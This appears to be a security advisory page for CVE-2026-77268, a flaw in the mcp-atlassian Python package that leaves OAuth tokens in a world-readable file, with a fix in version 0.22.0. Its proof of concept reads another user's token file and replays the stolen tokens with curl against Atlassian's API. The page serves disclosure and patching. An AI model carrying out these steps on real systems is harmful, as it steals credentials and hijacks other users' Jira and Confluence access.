CVE-2026-77268 is a medium-severity (CVSS 5.5) CWE-732 vulnerability in mcp-atlassian. A fix is available for mcp-atlassian — see the affected versions and patch details below.
MCP Atlassian: Insecure File Permissions on OAuth Token Storage
Exploitation Status
No confirmed exploitation observed yet
- CISA’s own triage has not observed active exploitation or public proof-of-concept code for this CVE as of its last assessment.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-77268.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
CVE-2026-77268 by exploitation likelihood (EPSS) against impact (CVSS). Outside the shaded patch-first corner.
Where this sits among everything scored
Of 394,415 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Counts from FIRST.org, log-scaled.
Real-World Exposure
mcp-atlassianReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The OAuth token fallback file storage in OAuthConfig._save_tokens_to_file() creates token files containing access tokens, refresh tokens, and cloud IDs with default filesystem permissions (typically 0644 on Linux, world-readable). Any local user on a shared system can read these files to obtain full Atlassian API credentials, enabling unauthorized access to the victim's Jira and Confluence data.
Details
The vulnerability exists in src/mcp_atlassian/utils/oauth.py in the _save_tokens_to_file method.
Step 1 -- Directory created without restrictive permissions:
At line 402-403, the token directory is created with mkdir(exist_ok=True) which uses the default umask (typically creating directories with mode 0755):
# src/mcp_atlassian/utils/oauth.py:402-403
token_dir = Path.home() / ".mcp-atlassian"
token_dir.mkdir(exist_ok=True)
Step 2 -- Token file written with default permissions:
At line 417-418, the token file containing sensitive credentials is written using open() with no explicit mode, inheriting default umask permissions (typically 0644 on Linux):
# src/mcp_atlassian/utils/oauth.py:406-418
token_path = token_dir / f"oauth-{self.client_id}.json"
if token_data is None:
token_data = {
"refresh_token": self.refresh_token,
"access_token": self.access_token,
"expires_at": self.expires_at,
"cloud_id": self.cloud_id,
"base_url": self.base_url,
}
with open(token_path, "w") as f:
json.dump(token_data, f)
Step 3 -- The file contains full API credentials:
The token file contains:
access_token: A valid OAuth access token for the Atlassian APIrefresh_token: Can be exchanged for new access tokens indefinitelycloud_id: Identifies the target Atlassian Cloud instancebase_url: The target Data Center instance URL
No os.chmod or os.fchmod is called anywhere after file creation.
The primary storage via keyring (line 373) is secure, but the fallback file storage at line 386 is always written in addition to keyring (line 386: self._save_tokens_to_file(token_data)). When keyring fails (common in headless/container/CI environments), the fallback becomes the only storage.
PoC
# Step 1: Victim runs mcp-atlassian with OAuth and completes the flow.
# This creates the token file.
# Step 2: As any other user on the same system, read the token file:
cat /home/victim/.mcp-atlassian/oauth-*.json
# Expected output (sensitive credentials in plaintext):
# {"refresh_token": "eyJ...", "access_token": "eyJ...", "expires_at": 1741234567.0, "cloud_id": "abc-123", "base_url": null}
# Step 3: Verify the token works:
curl -H "Authorization: Bearer <stolen_access_token>" \
"https://api.atlassian.com/ex/jira/<stolen_cloud_id>/rest/api/3/myself"
# Step 4: Use the refresh token to get a new access token:
curl -X POST "https://auth.atlassian.com/oauth/token" \
-d "grant_type=refresh_token" \
-d "client_id=<from_env>" \
-d "client_secret=<from_env>" \
-d "refresh_token=<stolen_refresh_token>"
Verify file permissions (on Linux/macOS):
ls -la ~/.mcp-atlassian/
# drwxr-xr-x 2 user user 4096 Mar 10 12:00 .
# -rw-r--r-- 1 user user 256 Mar 10 12:00 oauth-abc123.json
# ^^ ^^ ^^
# world-readable!
Impact
- Credential theft: Any local user can read the OAuth tokens and impersonate the victim on their Atlassian Cloud/Data Center instance.
- Persistent access: The refresh token allows the attacker to generate new access tokens indefinitely, even after the original access token expires.
- Full API access: The stolen tokens grant the same API permissions as the victim, including reading/writing Jira issues, Confluence pages, and potentially sensitive project data.
- Affected environments: Shared servers, CI/CD runners, multi-user workstations, and containerized deployments where the fallback file storage is used (keyring unavailable).
Recommended Fix
1. Set restrictive permissions on the directory and file:
# src/mcp_atlassian/utils/oauth.py
import os
import stat
def _save_tokens_to_file(self, token_data: dict | None = None) -> None:
"""Save the tokens to a file as fallback storage."""
try:
token_dir = Path.home() / ".mcp-atlassian"
token_dir.mkdir(exist_ok=True, mode=0o700)
token_path = token_dir / f"oauth-{self.client_id}.json"
if token_data is None:
token_data = {
"refresh_token": self.refresh_token,
"access_token": self.access_token,
"expires_at": self.expires_at,
"cloud_id": self.cloud_id,
"base_url": self.base_url,
}
# Open with restrictive permissions (owner-only read/write)
fd = os.open(
str(token_path),
os.O_WRONLY | os.O_CREAT | os.O_TRUNC,
stat.S_IRUSR | stat.S_IWUSR, # 0o600
)
try:
with os.fdopen(fd, "w") as f:
json.dump(token_data, f)
except Exception:
os.close(fd)
raise
logger.debug(f"Saved OAuth tokens to file {token_path} (fallback storage)")
except Exception as e:
logger.error(f"Failed to save tokens to file: {e}")
2. Additionally, fix the directory permissions for existing installations:
# In __init__ or from_env, ensure existing directories are tightened
token_dir = Path.home() / ".mcp-atlassian"
if token_dir.exists():
os.chmod(str(token_dir), 0o700)
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | mcp-atlassian | all versions | 0.22.0pip install --upgrade 'mcp-atlassian==0.22.0' |
Affected Products
mcp atlassianmcp-atlassianDetection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for mcp-atlassian, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update mcp-atlassian to 0.22.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-77268 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
Frequently Asked Questions
Is CVE-2026-77268 in your dependencies?
Find it across PyPI, including transitive dependencies.